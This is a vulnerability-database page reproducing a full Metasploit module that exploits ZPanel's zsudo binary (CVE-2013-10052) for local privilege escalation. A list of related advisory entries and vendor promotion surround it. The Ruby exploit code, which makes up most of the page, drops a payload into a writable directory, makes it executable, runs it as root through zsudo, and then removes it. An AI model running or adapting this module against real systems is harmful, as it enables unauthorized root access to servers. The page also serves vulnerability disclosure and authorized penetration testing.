Lucene search
+L

ZPanel zsudo Local Privilege Escalation Exploit

🗓️ 07 Jun 2013 00:00:00Reported by sinn3r <[email protected]>, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 23 Views

ZPanel zsudo Local Privilege Escalation Exploi

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2013-10052
29 May 201815:50
circl
cnnvd
CNNVD
zpanelx 安全漏洞
4 Aug 202500:00
cnnvd
cve
CVE
CVE-2013-10052
4 Aug 202518:03
cve
cvelist
Cvelist
CVE-2013-10052 ZPanel zsudo Local Privilege Escalation
4 Aug 202518:03
cvelist
euvd
EUVD
EUVD-2013-7277
7 Oct 202500:30
euvd
nvd
NVD
CVE-2013-10052
4 Aug 202518:15
nvd
ptsecurity
Positive Technologies
PT-2025-31842 · Zpanel · Zpanel
4 Aug 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2013-10052
6 Aug 202518:32
redhatcve
vulnrichment
Vulnrichment
CVE-2013-10052 ZPanel zsudo Local Privilege Escalation
4 Aug 202518:03
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'ZPanel zsudo Local Privilege Escalation Exploit',
          'Description' => %q{
            This module abuses the zsudo binary, installed with zpanel, to escalate
            privileges. In order to work, a session with access to zsudo on the sudoers
            configuration is needed. This module is useful for post exploitation of ZPanel
            vulnerabilities, where typically web server privileges are acquired, and this
            user is allowed to execute zsudo on the sudoers file.
          },
          'License' => MSF_LICENSE,
          'Author' => [ 'sinn3r', 'juan vazquez' ],
          'DisclosureDate' => '2013-06-07',
          'Platform' => %w[linux unix],
          'SessionTypes' => [ 'shell', 'meterpreter' ],
          'Targets' => [
            [ 'Command payload', { 'Arch' => ARCH_CMD } ],
            [ 'Linux x86', { 'Arch' => ARCH_X86 } ]
          ],
          'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 },
          'DefaultTarget' => 0,
          'References' => [
            [ 'CVE', '2013-10052' ]
          ],
          'Notes' => {
            'Reliability' => UNKNOWN_RELIABILITY,
            'Stability' => UNKNOWN_STABILITY,
            'SideEffects' => UNKNOWN_SIDE_EFFECTS
          }
        }
      )
    )
    register_options [
      OptString.new('zsudo', [ true, 'Path to zsudo executable', '/etc/zpanel/panel/bin/zsudo' ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def check
    if file?(datastore['zsudo'])
      return CheckCode::Detected('zsudo binary found')
    end

    return CheckCode::Safe('zsudo binary not found')
  end

  def exploit
    if (target.arch.include? ARCH_CMD)
      exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.sh"
      # Using this way of writing the payload to avoid issues when failing to find
      # a command on the victim for writing binary data
      cmd_exec "echo \"#{payload.encoded.gsub(/"/, '\"')}\" > #{exe_file}"
    else
      exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(rand(3..7))}.elf"
      write_file(exe_file, generate_payload_exe)
    end

    cmd_exec "chmod +x #{exe_file}"

    print_status('Running...')

    begin
      cmd_exec "#{datastore['zsudo']} #{exe_file} #{rand_text_alpha(rand(3..7))}"
    ensure
      cmd_exec "rm -f #{exe_file}"
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation